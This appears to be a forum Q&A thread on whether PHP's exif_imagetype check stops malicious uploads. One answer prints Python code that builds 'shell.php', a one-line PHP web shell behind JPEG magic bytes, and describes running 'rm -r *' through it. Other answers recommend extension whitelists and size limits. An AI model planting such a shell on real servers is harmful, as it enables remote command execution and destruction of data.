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How to bypass the exif_imagetype function to upload php code?

Posted by: admin July 12, 2020 Leave a comment


I read that exif_imagetype is secure function to avoid uploading php or other shell code instead of image file. Recently i read another article that we can bypass this secure function by some simple methods. So if someone knows the exact method to bypass can u share your answers.

I used following code in my php script so i wanted to know this is vulnerable or not and remedy for the same

 if (! exif_imagetype($_FILES['upload']['tmp_name'])) 
    echo "File is not an image";
How to&Answers:

Based on Mr. @jake_the_snake’s answer, I would also include a quick code sample in Python

>>> fh = open('shell.php', 'w')
>>> fh.write('\xFF\xD8\xFF\xE0' + '<? passthru($_GET["cmd"]); ?>')
>>> fh.close()


It’s a bit more complicated that just running exif_imagetype. That function simply checks the magic number at the beginning of the file, so more checks are needed. Without more knowledge of your software, it’s hard to make a judgement, but consider this example:

I construct “shell.php” with the JPEG magic number 0xFFD8FFE0 followed by the string <? passthru($_GET["cmd"]); ?>.

I upload it to your server. The magic number bypasses exif_imagetype. The file is uploaded to www.your-domain.com/uploads/shell.php. I then navigate to www.your-domain.com/uploads/shell.php?rm -r *. The server finds the starting <? and starts interpreting PHP. Yay! I’ve deleted all your uploads assuming you’re running on a Linux webserver.

Even doing a deeper check on the validity of the image won’t help, because I could include my malicious script in the metadata of the image. This is only prevented by using a whitelist of file extensions.

[TL;DR] It’s not secure without more checking. You need to ensure an appropriate file name, use a whitelist of file extensions, limit file size, and perform standard security measures.


For security i use

$extension = pathinfo($_FILES['upload']['name'], PATHINFO_EXTENSION);

if(!in_array(strtolower($extension), array('jpg', 'jpeg', 'png', 'gif')))
    echo "File is not an image";